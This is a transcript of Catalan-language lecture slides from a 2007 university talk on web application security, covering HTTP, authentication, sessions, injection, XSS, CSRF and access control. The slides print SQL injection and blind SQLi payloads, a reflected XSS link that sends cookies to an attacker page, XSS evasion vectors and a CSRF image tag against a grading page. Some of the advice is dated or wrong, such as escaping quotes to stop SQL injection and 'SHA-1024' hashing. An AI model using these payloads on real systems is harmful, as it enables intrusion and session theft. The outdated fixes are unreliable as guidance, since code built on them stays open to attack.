Seguridad en aplicaciones web
-
Upload
guest12885d -
Category
Technology
-
view
1.116 -
download
1
description
Transcript of Seguridad en aplicaciones web
![Page 1: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/1.jpg)
LCFIB- 2007LCFIB- 2007
Seguretat en aplicacions web
Jordi Planadecursach [email protected]
Héctor Puente [email protected]
![Page 2: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/2.jpg)
LCFIB- 2007LCFIB- 2007
Parlarem de…
Protocol HTTP
Sistemes d’autenticació
Cookies
Vulnerabilitats més comuns
Polítiques de control d’accés
Tractament d’erros i logging
![Page 3: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/3.jpg)
LCFIB- 2007LCFIB- 2007
Parlarem de…
Com protegir dades sensibles
Polítiques de seguretat
Testing de seguretat
![Page 4: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/4.jpg)
LCFIB- 2007LCFIB- 2007
Introducció
Que tenen en comú lamajoria d’aplicacions web?
![Page 5: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/5.jpg)
LCFIB- 2007LCFIB- 2007
Que tenen el port 80 obert (o el 443)
![Page 6: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/6.jpg)
LCFIB- 2007LCFIB- 2007
AtacantServidor Web
• L’atacant envia una petició HTTP al servidor web
• El codi del servidor web realitza operacions per les quals no està preparat.
• Es retorna una resposta a l’atacant amb dades que pretenien ser segures.
• Que passa amb els insiders ?
![Page 7: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/7.jpg)
LCFIB- 2007LCFIB- 2007
Bugs d’aplicació
VS
Bugs de plataforma
![Page 8: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/8.jpg)
LCFIB- 2007LCFIB- 2007
La majoria d’atacs es realitzen desde el navegador
• Firefox plugins:
• LiveHTTP Headers
• Tamperdata
• Web Developer
• Web proxies:
• OWASP WebScarab
• Achilles
• Escaners de vulnerabilitats:
• Nessus
Com es realitzen els atacs?
![Page 9: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/9.jpg)
LCFIB- 2007LCFIB- 2007
0%
10%
20%
30%
40%
50%
60%
70%
80%
90%
Atacs Inversió
Xarxa
Aplicaions
75% dels atacs estan destinats a la capa d’aplicació
2/3 aplicacions web són en major o menor mesura vulnerables
![Page 10: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/10.jpg)
LCFIB- 2007LCFIB- 2007
• Mètodes: GET, POST, TRACE, etc…
• Headers
• A l’estándar HTTP hi ha 47 headers diferents
• Uns dels més usats són: Accept, User-Agent, Host, Referer, Set-Cookie
• Paràmetres• Passats per URL (GET)• Per formularis (POST)• Personalitzats per l’aplicació (headers)
HTTPHyper Text Transfer Protocol
![Page 11: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/11.jpg)
LCFIB- 2007LCFIB- 2007
GET http://www.fib.upc.edu/fib/buscar.html?lang=0§ion=0&s=hola HTTP/1.0Accept: */*Accept-Language: esCookie: SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==; JSESSIONID=DCD16D163B38B02858E466A216FF7612.pim; Apache=147.83.58.208.1184685235517970User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)Host: raco.fib.upc.esConnection: Keep-Alive
![Page 12: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/12.jpg)
LCFIB- 2007LCFIB- 2007
POST https://raco.fib.upc.es:443/cas/servlet/lcfib.login.CASLogin HTTP/1.0Referer: http://www.fib.upc.edu/fib/buscar.html?lang=0§ion=0Connection: Keep-AliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)Host: raco.fib.upc.esCache-Control: no-cacheCookie: CASTGC=TGT-4579-xzlCXcMfJzdZyMr5kKEQ0WmzM1ArOTuaXsp-50; JSESSIONID=AF2BCACA6BB144A4392EF4FA1B467605.pim; SSO_ID=Ba3U8owbH4z0Q/K12gU2Yw==;
url_service=https%3A%2F%2Fraco.fib.upc.es%2Fservlet%2Flcfib.racons.Portal&username=usuari&password=contrassenya&x=0&y=0
![Page 13: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/13.jpg)
LCFIB- 2007LCFIB- 2007
Interceptant peticions HTTP
Web Scarab
![Page 14: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/14.jpg)
LCFIB- 2007LCFIB- 2007
Mètodes d’autenticació
Com identificar qui està fent peticions?
![Page 15: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/15.jpg)
LCFIB- 2007LCFIB- 2007
• Mètodes d’identificar qui està fent les peticions
• Amb alguna cosa que saps (contrassenya)
• Alguna cosa que saps (token)
• Alguna cosa que ets (mètodes biomètrics)
• Una combinació dels anteriors
![Page 16: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/16.jpg)
LCFIB- 2007LCFIB- 2007
• Basic HTTP Authentication
• L’usuari envia una petició a una pàgina
• El servidor respon amb un error 401 (unauthorized) i avisa que accepta http authentication
• El navegador pregunta a l’usuari username i password, els codifica en base64 i els envia al servidor
• El servidor valida els credencials i autoritza o no.
No hi ha forma de deslogejar-se
La contrassenya s’envia en text plà
• Digest HTTP Authentication
![Page 17: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/17.jpg)
LCFIB- 2007LCFIB- 2007
• Autenticació basada en formularis
• Formulari amb POST
• Es crea una cookie
• Opció recomenada
• Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer l’enviament de contrassenyes segur
![Page 18: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/18.jpg)
LCFIB- 2007LCFIB- 2007
• Una vegada s’envien els credencials s’han de validar contra un backend
• Base de dades SQL
• Directori LDAP
• Arxius XML
• /etc/passwd
• Altres mètodes
• Tots els mètodes haurien d’anar acompanyats de SSL per tal de fer l’enviament de contrassenyes segur
![Page 19: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/19.jpg)
LCFIB- 2007LCFIB- 2007
• Sniffing
• Connexió al mateix hub
• Connexió al mateix switch (arpspoofing)
• Xarxes wireless
• Xarxes intermitges (ISP’s)
• Accés al servidor de destí
• Man in the middle
• Ingenieria social
• Força bruta
![Page 20: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/20.jpg)
LCFIB- 2007LCFIB- 2007
• Recomanacions (No ensenyar mai les contrassenyes)
• Minimitzar el nombre de llocs on l’usuari es pot autenticar
• En aplicacions grans utilitzar mètodes d’autenticació centralizada, Single Sign On
• En els formularis on s’escriuen passwords utilitzar ocultació ******** <input type=“password” … >
• No guardar mai passwords dins el codi HTML generat (hiddens)
• Utilitzar HTTPS
• No manejar manualment tokens i identificadors sessions
![Page 21: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/21.jpg)
LCFIB- 2007LCFIB- 2007
• Recomanacions (Emmagatzament racional)
• Guardar contrassenyes encriptades (SHA-256 SHA-1024)
• En cas de no poder guardar-les en un backend encriptat
• Enviar les passwords únicament sobre HTTPS
• Esborrar passwords de memoria (memory dumps)
• Tenir en compte la memoria cache
• Utilitzar llibreries de seguretat de proveidors segurs
• JCE (Java)
• System.Security.Cryptography (.NET)
![Page 22: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/22.jpg)
LCFIB- 2007LCFIB- 2007
• Seguretat de la contrassenya
• Definir un tamany mínim de les contrassenyes
• Posar dates de caducitat en les contrassenyes
• Forçar que l’usuari no utilitzi contrassenyes referents a les seves dades
• No utilitzar contrassenyes amb paraules que apareixen al lloc web
• Potència d’una contrassenya
• R = Contrassenyes per segon (en remot 200, en local 10.000.000)
• C = Nombre de caràcters de la contrassenya
• S = Tamany de l’alfabet
P = S^C / R Exemple: R = 200 C = 5 S = 36
P = 84h
![Page 23: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/23.jpg)
LCFIB- 2007LCFIB- 2007
• Recomanacions (Els errors no donen pistes)
• No diferenciar quan s’ha introduit malament usuari o password
• Utilitzar el mateix missatge d’error per tot el que no sigui un login correcte
• Recomanacions (Bloqueix de comptes)
• No banejar mai l’usuari per ip
• Bloquejar l’usuari després de 3 intents insatisfactoris
• Desbloquejar l’usuari després de cert temps o manualment
• Utilitzar captcha’s després de 3 intents
![Page 24: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/24.jpg)
LCFIB- 2007LCFIB- 2007
• Recuperació de la contrassenya
• Mai enviar la contrassenya anterior
• Donar la possibilitat d’introduir una “pregunta secreta”
• No deixar que la resposta a la rpegunta sigui més dèbil que la contrassenya
• Canvi de contrassenya
• Preguntar sempre la contrassenya anterior abans de fer el canvi
• Demanar una reautenticació després del canvi de contrassenya
![Page 25: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/25.jpg)
LCFIB- 2007LCFIB- 2007
Una bona gestió de les contrassenyes implica una aplicació segura?
![Page 26: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/26.jpg)
LCFIB- 2007LCFIB- 2007
Cookies
![Page 27: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/27.jpg)
LCFIB- 2007LCFIB- 2007
• Que és una cookie?
• S’haurien d’utilitzar només per identificar sessions
• També s’utilitzen per tracking i balanceix
Session ID Objecte Sessió
1AFD6786C876A087F6D
O7CAFO6FAB6O6BB55A
76C98A6F9A6987F9083
….
Http Session
![Page 28: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/28.jpg)
LCFIB- 2007LCFIB- 2007
• Cicle de vida d’una sessió
• Es visita per primer cop un lloc web (el servidor envia una cookie al client)
• Autenticació (a la sessió s’indica que l’usuari ha estat autenticat)
• La sessioó caduca per Idle o per un timeout absolut
• Logout (borrat de la cookie i sortida del lloc web)
• Reautenticació (generar un altre cookie)
No inventar-se un sistema de sessions propi
Utilizar sistemes de sessions integrats amb la plataforma JSession, SessionID
![Page 29: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/29.jpg)
LCFIB- 2007LCFIB- 2007
Quanta gent fa un logout abans de tancar el navegador?
La majoria de cookies no tenen timeout
![Page 30: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/30.jpg)
LCFIB- 2007LCFIB- 2007
• Amanaces: Session hijacking
• Endevinar la session id
• Força bruta (inprovable)
• Tenir accés al codi font i deduir quina serà per el pròxim usuari
• Robar la session Id• Cross site scripting (XSS)• Sniffing (no usar HTTPS)• URL-Rewriting, caches, logs, copy-paste, etc…• Fixar la session Id
![Page 31: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/31.jpg)
LCFIB- 2007LCFIB- 2007
• Recomanacions en cas d’inventar-se un sistema de sessions
• La session Id no s’ha de poder endevinar
• Ha de ser suficientment llarga (20bytes)
• Ha de ser suficientment aleatoria
• Ha de ser única per cada usuari loggejat
• És díficil mantenir aquestes propietats
• No és tants sols un idintificador aleatori
• S’utilitzen algoritmes de disperssió
• Hi ha contingut criptgràfic
![Page 32: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/32.jpg)
LCFIB- 2007LCFIB- 2007
• En resum, recomanacions geneals
• Donar un mecanisme de LogOut
• Les sessions haurien de caducar
• Invalidar la cookie anterior en un relogin.
• No s’haurien de loggejar ni cachejar sessions
• No posar la session Id a la url com a paràmtre GET
• No inventar-se el sistema de sessions
![Page 33: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/33.jpg)
LCFIB- 2007LCFIB- 2007
Una bona gestió de les sessions implica una aplicació segura?
![Page 34: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/34.jpg)
LCFIB- 2007LCFIB- 2007
Vulnerabilitats més usuals
![Page 35: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/35.jpg)
LCFIB- 2007LCFIB- 2007
• Validació de l’entrada
• SQL Injection
• Blind SQL Injection
• XPath/Command/Altres Injections
• Buffers overflow
• Cross Site Scripting (XSS)
• Cross Site Request Forgery (CSRF)
• Remote file inclusion
![Page 36: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/36.jpg)
LCFIB- 2007LCFIB- 2007
• Adonar-se del contingut que es pot posar dins un formulari
• Detectar si el contingut és realment l’esperat
Validació de l’entrada
![Page 37: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/37.jpg)
LCFIB- 2007LCFIB- 2007
AtacantServidor Web
• L’atacant envia una petició HTTP al servidor web
• El codi del servidor web realitza operacions per les quals no està preparat.
• Es retorna una resposta a l’atacant amb dades que pretenien ser segures.
SQL Injection
![Page 38: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/38.jpg)
LCFIB- 2007LCFIB- 2007
SQL Injection
• Són vulnerables aquelles aplicacions que tenen de backend una base de dades SQL
<form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“password" type="password" id="tfUPass"> </form>
String username = request.getParameter(“username”);String password = request.getParameter(“password”);
String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and password=‘” + password + “’”; ResultSet rs = smt.executeQuery(sql);
If( rs.results() > 0) login = true;else login = false;
![Page 39: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/39.jpg)
LCFIB- 2007LCFIB- 2007
Username: admin Password: 1234SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘1234’;
Username: admin Password: ‘ OR ‘’=‘
SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘‘ OR ‘’=‘’;
Username: admin Password: ’; DROP TABLE logins where ‘’=‘SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘’;
drop table logins where ‘’=‘’;
String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’”;
![Page 40: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/40.jpg)
LCFIB- 2007LCFIB- 2007
Com s’evita la SQL injection?
És tan fàcil com escapar cometes
“ \”‘ \’
![Page 41: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/41.jpg)
LCFIB- 2007LCFIB- 2007
Blind SQL Injection
• Tot hi escapar les cometes...
<form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“pin_code" type="password" id="tfUPass"> </form>
String username = request.getParameter(“username”);String pin_code = request.getParameter(“password”);
String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and pin_code= ” + pin_code; ResultSet rs = smt.executeQuery(sql);
If( rs.results() > 0) login = true;else login = false;
![Page 42: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/42.jpg)
LCFIB- 2007LCFIB- 2007
Username: admin Password: 1 OR 1=1SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND pin_code=1 OR 1=1
Altres vectors:
1 OR HAVING 1=1 Error, ‘cuenta_corriente’ is not on the group by clause
1 OR GROUP BY cuenta_corriente HAVING 1=1 Error, ‘dni’ is not on the group by clause
1 OR GROUP BY cuenta_corriente,dni HAVING 1=1 Error, ‘direccion’ is not on the group by clause
1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256”
1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000”
1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1)
String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code;
![Page 43: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/43.jpg)
LCFIB- 2007LCFIB- 2007
Com s’evita la BSQL injection?
És tan fàcil com validar els enters
String pinString = request.getParameter(“pin_code”);
try{ int pinCode = Integer.parseInt(pinString);}catch (NumericException ex){ System.out.println(“Hacker go away!”);}
![Page 44: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/44.jpg)
LCFIB- 2007LCFIB- 2007
Buffer Overflow
#include <stdlib.h>#include <stdio.h>
char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string;}
![Page 45: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/45.jpg)
LCFIB- 2007LCFIB- 2007
INPUT
• Codi a executar (shellcode)
• Acabar d’emplenar fins 1024 bytes
• 4 bytes qualsevols
• Adreça de retorn que ha de conicidir amb l’inici del buffer
![Page 46: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/46.jpg)
LCFIB- 2007LCFIB- 2007
![Page 47: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/47.jpg)
LCFIB- 2007LCFIB- 2007
Buffer Overflow
#include <stdlib.h>#include <stdio.h>
char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string;}
![Page 48: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/48.jpg)
LCFIB- 2007LCFIB- 2007
Solució: comprovar tamany de l’entrada
#include <stdlib.h>#include <stdio.h>
char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,min(query_size,1024),1,stdin); return query_string;}
![Page 49: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/49.jpg)
LCFIB- 2007LCFIB- 2007
• Depenent del backend que s’utilitza
• Validar que l’entrada no pugui ser interpetada com a codi del llenguatge per communicar-se amb el backend
• XPath injection (Base de dades Exist, arxius XML)
• Command injection
Altres injections
String consulta = “user[name/text()=‘” + usuari + ”' and password/text()=‘” + password + ”']/account/text())”
XmlReader.query(consulta);
![Page 50: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/50.jpg)
LCFIB- 2007LCFIB- 2007
• És una vulnerabilitat que permet executar scripts al exploador de la víctima
• Perquè XSS?
• Són vulnerables els navegadors que utilitzen Javascript (la majoria) o VBScript (internet explorer).
• Es poden posar scripts malignes en pàgines web
Cross Site Scripting (XSS)
• Conseqüències
• Moltes vegades aquest script el que fan és robar cookies
• Es poden “desfassar” webs
• Si l’explorador té un bug del sandbox estas perdut
![Page 51: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/51.jpg)
LCFIB- 2007LCFIB- 2007
• L’atacant troba un lloc web on poder posar JavaScript
• L’atacant posa un script maligne
• Qualsevol persona que visiti aquest lloc web estarà executant aquest script
• L’script pot enviar la cookie a la pàgina de l’atacant i aquest pot realitzar un atac de suplantació d’identitat.
• Si l’explorador té un bug del sandbox l’script pot navegar a altres llocs webs i robar dades confidencials, adreces de correu (gmail), contes bancaris (bancs), sessions, etc.
• Si l’explorador corre en permisos d’administració es poden arribar a crear arxius a disc i executa codi arbritari.
Stored XSS
![Page 52: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/52.jpg)
LCFIB- 2007LCFIB- 2007
• L’atacant no pot posar directament javascript
• Aquest troba un camp a un formulari on el s’introdueix apareix directament per pantalla (exemple: buscador)
• L’atacant genera un link malicios per tal de que quan es cliqui s’executi aquest script
•http://www.disney.com/buscador.jsp?s=<script>document.url=“http://hacker/pagina.php”+document.cookie;</script
>
• Quan es clica el link l’usuari veu per pantalla el que ha buscat, que en aquest cas és: <script>document.url=“http://hacker/pagina.php”+document.cookie;</script>
• S’envia la cookie a la pàgina de l’atacant
• Els atacs XSS es tornen molt més perillosos si s’utilitza AJAX perque es poden tenir peticions obertes invisibles.
Reflected XSS
![Page 53: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/53.jpg)
LCFIB- 2007LCFIB- 2007
Com s’eviten els atacs XSS?
S’anula completament el “Rich Text”
o
Es posa un ciri al monestir de Montserrat
![Page 54: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/54.jpg)
LCFIB- 2007LCFIB- 2007
Vectors XSS
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:&
#97;lert('XSS')>
<IMG SRC=javascript:&#x
61lert('XSS')>
![Page 55: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/55.jpg)
LCFIB- 2007LCFIB- 2007
Vectors XSS
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
![Page 56: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/56.jpg)
LCFIB- 2007LCFIB- 2007
Evitar XSS
• Cada dia en surten de nous
• Són molt difícils de detectar
• No hi ha cap llibreria que els detecti
• Es poden evitar utilitzan application firewalls
• Pàgina web de referència: http://ha.ckers.org/xss.html
• Codificant l’entrada amb entitats HTML s’evita, es perd el “rich text”
• S’han de seguir polítiques molt estrictes
• Utilizant wrappers (llenguatges intermitjos) s’eviten
![Page 57: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/57.jpg)
LCFIB- 2007LCFIB- 2007
Cross Site Reference Forgery (CSRF)
• Bàsicament consisteix en aconseguir que l’explorador de la víctima visiti URL arbitràries.
• Es com si l’atacant t’agafa el ratolí i et fa clicar allà on vol
• Permet realitzar operacions complexes (logejarte en un banc i fer una tranferència)
• Consisteix en posar les url’s que es vol que la victima visiti dins d’un tag <img>
• Exemple: Enviem un mail al webmaster del raco amb la següent imatge
<img src=“http://raco.fib.upc.edu/posar-notes.jsp?user=hacker&asig=TC¬a=10”>
![Page 58: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/58.jpg)
LCFIB- 2007LCFIB- 2007
Com s’eviten els atacs CSRF?
Deixant d’utilitzar el correu electrònic.
Molts lectors de mails pregunten abans de carregar imatges.
![Page 59: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/59.jpg)
LCFIB- 2007LCFIB- 2007
Evitar CSRF
• Passant paràmetres per POST
• Les operacions sensibles s’han de fer en diversos passos
• No obrint imatges de correus electrònics de persones en que no es confia
• La combinació de XSS + CSRF només té una forma d’evitar-se
• Abans de realitzar operacions sensibles (notes, transferències bancaries) posar sistemes anti-robots: captcha, preguntes, operacions matemàtiques
![Page 60: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/60.jpg)
LCFIB- 2007LCFIB- 2007
Controls d’accés
Que pot fer i no pot fer un usuari?
• Limitar accés• Usuaris no autenticats (públic i privat)
• Identificació d’usuaris (qui, que veuen, que poden fer)
• Mes complicat del que sembla
![Page 61: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/61.jpg)
LCFIB- 2007LCFIB- 2007
• On es fa el control
• Entorn (servidor, filtre)
• Canvi de urls /usuari/a0000000/
•Controlador (a quina lògica de negoci crida)
•Lògica de negoci (a quina funció es crida)
•Capa de dades (quines dades es mostren)
•Capa de presentació (quins botons es mostren)
![Page 62: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/62.jpg)
LCFIB- 2007LCFIB- 2007
• Definir les regles
•Decidir i escriure funcions i dades a protegir
•Extreure regles d’accés
•Desenvolupar una matriu d’accés
•Definir quina capa implementarà cada regla
![Page 63: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/63.jpg)
LCFIB- 2007LCFIB- 2007
• Capa de presentació
•Quins botons pot veure l’usuari i a on se li permet accedir
•Decideix quina pàgina mostrar
• Com saltar-s’ho:
•Capa de presentació no limita que pot fer l’usuari
•Manipular les URL directament
•Guardar l’HTML, canviar-ho i enviar-ho al servidor
•Utilitzar proxy per alterar contingut
![Page 64: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/64.jpg)
LCFIB- 2007LCFIB- 2007
• Entorn
•Protecció de contingut estàtic - Servidor web
•Protecció de contingut dinàmic - Servidor d’aplicacions
•Filtres de seguretat
• Bones pràctiques
•Limitar extensions utilitzades
•Limitar accés a contingut estàtic/dinàmic
•Verificar rutes accessibles en la aplicació
![Page 65: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/65.jpg)
LCFIB- 2007LCFIB- 2007
• Capa de negoci
•Quines funcions pot executar l’usuari
•Decideix quines funcions s’han d’executar
• Com saltar-s’ho:
•Redirigint la petició al mateixa funció i pintar en funció de l’origen
![Page 66: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/66.jpg)
LCFIB- 2007LCFIB- 2007
• Capa de dades
•Quines dades por veure l’usuari
•Decideix quines consultes es poden executar sobre les dades
•Limitar les consultes segons politiques de seguretat.
• Com saltar-s’ho:
•El problema de les referències d’objectes
•Ids de productes, contes bancàries
![Page 67: Seguridad en aplicaciones web](https://reader035.fdocuments.es/reader035/viewer/2022062403/5560c103d8b42af93b8b5559/html5/thumbnails/67.jpg)
LCFIB- 2007LCFIB- 2007
• Administració
• Funcions de superusuari
• Funcions de manteniment
• Bones pràctiques:
•Separar aplicació per superusuari i aplicació per usuaris normals físicament.
•Diferent entorn
•Limitat accés (VPN, IPs MACs)
